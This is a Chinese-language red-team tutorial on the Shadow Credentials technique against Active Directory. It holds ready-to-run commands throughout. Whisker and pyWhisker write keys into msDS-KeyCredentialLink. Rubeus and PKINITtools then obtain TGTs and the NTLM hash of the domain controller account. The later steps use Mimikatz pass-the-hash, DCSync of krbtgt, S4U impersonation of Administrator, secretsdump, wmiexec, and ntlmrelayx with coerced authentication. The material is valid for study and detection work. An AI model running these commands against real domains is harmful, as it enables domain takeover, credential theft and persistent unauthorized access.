0x00 简介
在本文中,我们将为读者详细介绍与影子票据漏洞相关的事宜。
0x01 漏洞详情
目前,微软已经推出了Windows Hello for Business(WHfB)技术,以通过基于密钥的信任模型来取代传统的基于密码的身份验证。该技术使用与加密证书对相关联的PIN或生物特征为域上用户赋予相应的资源访问权限。同时,用户或计算机帐户可以拥有多个密钥凭据,并且这些凭据可以对应于不同的设备。这些凭据通常存储在活动目录的msDS-KeyCredentialLink属性中,该技术是在Windows Server 2016和Windows 10 170 3版本中引入的。
与任何新的技术或特性一样,这同时也引入了一个潜在的攻击面。在Black Hat Europe2019大会期间,Michael Grafnetter讨论了针对Windows Hello for Business技术的多种攻击方法,其中包括域持久化技术,该技术涉及修改目标计算机账户或用户帐户的msDS-KeyCredentialLink属性。使用公钥加密技术的攻击者,能够修改具有相应权限的帐户的msDS-KeyCredentialLink属性,以获得用于检索NTLM哈希值的票据授予票据(TGT)。即使目标帐户的密码被修改后,该属性也不会受到影响,因此,攻击者可以持续使用该技术来检索管理员的NTLM哈希值或授予服务票据的票据。下图形象展示了基于影子凭据的入侵步骤。
基于影子凭据的攻击示意图
那么,哪些账户才拥有修改活动目录相关属性的权限呢?他们必须是下列管理员组的成员:
密钥管理员
企业密钥管理员
具有相关特权的用户组
另外,如果对活动目录中的对象(计算机账户或用户账户)具有GenericAll或GenericWrite权限的账户被入侵,那么,当入侵者能够影响计算机账户时,就可以通过相关权限来实现持久化或横向移动。
相关用户权限
这两种权限都会继承对msDS-KeyCredentialLink属性的读写权限,这是完成攻击所必须的。
msDS-KeyCredentialLink属性
Elad Shamir发布了一款名为Whisker的工具,可以为红队队员利用这一技术提供帮助。该工具将生成相应的证书和非对称密钥,并将它们存储在msDS-KeyCredentialLink属性中。生成的证书可以与Rubeus一起使用,来请求票据授予票据,从而进一步扩大攻击范围。
Whisker.exe add /target:dc$ /domain:purple.lab /dc:dc.purple.lab
通过Whitker添加密钥凭据
我们可以使用标志“list”对目标帐户进行属性更新验证;而存储在msDS-KeyCredentialLInk属性中的信息包括以下内容:
- 用户ID
- 公钥
- 设备ID
- 上次登录时间
- 认证数据
但是,与其python实现(即PyWhitker)相比,该工具仅仅会处理设备ID和上次登录时间,这一点将在后面详细加以介绍。
Whisker.exe list /target:dc$ /domain:purple.lab /dc:dc.purple.lab
Whisker的List选项
从活动目录的角度来看,该属性的值具有如下图所示的格式。然而,我们无法通过微软的ADSI Edit来读取或修改这个值。
msDS-KeyCredentialLink
Whisker可以在输出中提供Rubeus命令。使用该命令,可以进行基于证书的身份验证,从而请求票据授予票据。
Rubeus TGT
我们收到的TGT票据的格式为base-64。
收到的TGT
该票据将被缓存在内存中,并属于域控制器的计算机账户,它实际上就是我们的目标账户。计算机账户的NTLM哈希值也将显示在结果中,并可用于基于哈希值的攻击。实际上,红队队员可以根据具体的情况,通过该票据或哈希值来发动进一步的攻击,比如使用DCSync转储活动目录哈希值,或通过冒充域管理员账户重新获得对域控制器和网络中其他敏感主机的访问权限。
DC$ NTLM 哈希值
利用Mimikatz,攻击者可以发动哈希值传递攻击。通过以下命令,攻击者就能以DC$帐户的身份打开一个新会话:
privilege::debug
sekurlsa::pth /user:DC$ /domain:purple.lab /ntlm:5de006c3bf93d30195dff6fadd92a74c
传递哈希值
在新的会话中,可以再次执行Mimikatz来转储活动目录帐户的密码哈希值,例如krbtgt帐户。使用krbtgt帐户的NTLM哈希值,可以创建一个金票,以实现对辅助域(secondary domain)的权限维持。
lsadump::dcsync /domain:purple.lab /user:krbtgt
转储活动目录帐户的密码哈希值
另外,借助于DC$帐户的票据,攻击者还可以为使用Kerberos扩展服务的用户请求域管理员帐户的相关服务票据。实际上,攻击者可以通过Rubeus工具与Kerberos协议进行交互,并使用隶属于DC$计算机账户的证书执行下面的命令,从而获得域控制器cifs服务的票据。需要注意的是,这个票据是以域管理员账户的名义进行请求的。
Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/dc.purple.lab /dc:dc.purple.lab /ptt /ticket:[Base64 TGT]
域管理服务票据
在收到TGS票据后,会将其缓存到内存中。应该注意的是,攻击者可以请求各种服务票据,以访问域控制器之外的其他敏感主机,以便以报告的形式实现信息泄露。
域管理服务票据
由于服务票据存储在内存中,因此,攻击者可以使用标准用户帐户通过主机访问域控制器资源。
dir \\dc.purple.lab\c$
DC访问共享
0x02 通过未加入域的系统发动攻击
如果已知域管理帐户或具有所需权限的帐户的凭据,攻击者还可以通过未加入域的系统来发动攻击。目前,Charlie Bromberg已经发布了Whisker的python实现,名为pyWhisker,以帮助来自未附加到域的主机完成相关操作。当我们执行第一条命令时,只显示来自目标主机输出的设备ID和创建时间,并且,该主机的msDS-KeyCredentialLink属性中已经包含一个密钥对,这一点类似于该工具的C#实现。此外,该工具也可以打印包含在KeyCredential结构中的所有信息,为此,需要指定关设备ID和info标志。
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "list"
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "info" --device-id 730406d6-bcd3-4427-a14b-b0420924a149
pyWhisker的List选项
然后,只需执行以下命令便可发动攻击,并且,生成的证书将以.pfx格式保存在本地。有了这个证书,我们就可以检索计算机帐户或票据授予票据的NTLM哈希值。
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "add" --filename dc
利用pyWhisker生成密钥凭据
该证书可以与Dirk-jan Mollema的PKINITtools一起使用,以便通过密钥分发中心(KDC)进行身份验证,并请求以.ccache格式保存的票据授予票据。
python3 gettgtpkinit.py -cert-pfx dc.pfx -pfx-pass srjJXERibBHpBYIYKIeO purple.lab/dc$ dc$.ccache
利用PKINITtools请求TGT票据
我们可以使用“export”命令将票据缓存到当前会话中,并使用AS-REP加密密钥通过PAC检索计算机帐户的NTLM哈希值,这一点类似于证书帐户持久化技术。
export KRB5CCNAME=/home/kali/PKINITtools/dc\$.ccache
python3 getnthash.py -key c1f6bf9a8a7daeaf5c9b68cab6609994b233fa9b3fc30de747f0950111e545c5 purple.lab/dc$
获取计算机账户的NTLM哈希值
在Windows生态系统中,攻击者可以使用DCSync技术,通过Mimikatz来获得域的哈希值。在Linux环境中,可以使用Impacket套件中的secretsdump,用域控制器计算机账户的哈希值来转储krbtgt账户的哈希值。
python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'purple/dc$@10.0.0.1' -just-dc-user krbtgt
利用secretsdump传递哈希值
通过检索域管理账户的密码哈希值,然后用python工具wmiexec传递哈希值,就能轻松重建对域控制器的访问权限。
python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'purple/dc$@10.0.0.1' -just-dc-user Administrator
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
secretsdump & wmiexec
0x03 强制身份验证
Charlie Bromberg在ntlmrelayx的一个版本中也实现了影子凭证技术。该攻击可以与PetitPotam、printerbug或ShadowCoerce等强制身份验证结合进行。
python3 ntlmrelayx.py -t ldap://ca --shadow-credentials --shadow-target 'dc$'
基于ntlmrelayx的影子凭据攻击
但是,如果在使用强制身份验证的情况下利用该技术的话,会面临一个问题:无法将身份验证从SMB中继到LDAP。因此,除非先借助替代协议(如HTTP)对身份验证进行中继,然后中继回运行侦听器的主机,否则,上述攻击是无法直接完成的。另一种方法是使用NCC组中的Change-Lockscreen工具,在具有修改msDS-KeyCredentialLink属性所需权限的帐户的上下文中触发身份验证。
Change-Lockscreen.exe -Webdav \\kali1@80\
Ntlmrelayx的运行结果
这时,提取出来的证书为PFX格式,并带有随机密码字符串。之后,我们可以利用python工具gettgtpkinit,通过上面的证书来请求kerberos票据授予票据。
python3 gettgtpkinit.py -cert-pfx ezlCyMJk.pfx -pfx-pass i0Oyg3xgWMCUKDmiB9yI purple.lab/dc$ p6nC1xBQ.ccache
TGT请求
知道票据的路径后,我们可以使用export命令将其缓存到当前会话中。与本文前面的用法类似,我们可以借助于python脚本getnthash,通过PAC检索DC$帐户的NTLM哈希值。
export KRB5CCNAME=/home/kali/PKINITtools/ezlCyMJk.ccache
python3 getnthash.py -key a52b696a23f6f838b45c475caeca7a118d7f5463af89bc4c8246d83fab1ea80e purple.lab/dc$
通过PKINITtools检索DC$账户的NTLM哈希值
我们还可以使用python脚本gets4uticket从Linux主机请求服务票据。以前请求的缓存票据可用于进行Kerberos身份验证,并通过冒充域管理员帐户为cifs服务请求以.ccache格式保存的TGS票据。由于该服务票据可以缓存在内存中,并且由于该票据属于域管理帐户,因此,我们可以使用具有Kerberos身份验证功能的wmiexec来访问域控制器。
python3 gets4uticket.py kerberos+ccache://purple.lab\\dc\$:ezlCyMJk.ccache@dc.purple.lab cifs/dc.purple.lab@purple.lab administrator@purple.lab admin.ccache -v
export KRB5CCNAME=/home/kali/PKINITtools/administrator_tgs.ccache
wmiexec.py -k -no-pass purple.lab/administrator@dc.purple.lab
通过服务票据访问DC
0x04 相关工具
0x05 演示视频
相关的演示视频,请访问https://youtu.be/6IyG_DA_0Vg。
0x06 参考资料
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials
https://shenaniganslabs.io/2021/06/21/Shadow-Credentials.html
https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition
https://www.youtube.com/watch?v=u22XC01ewn0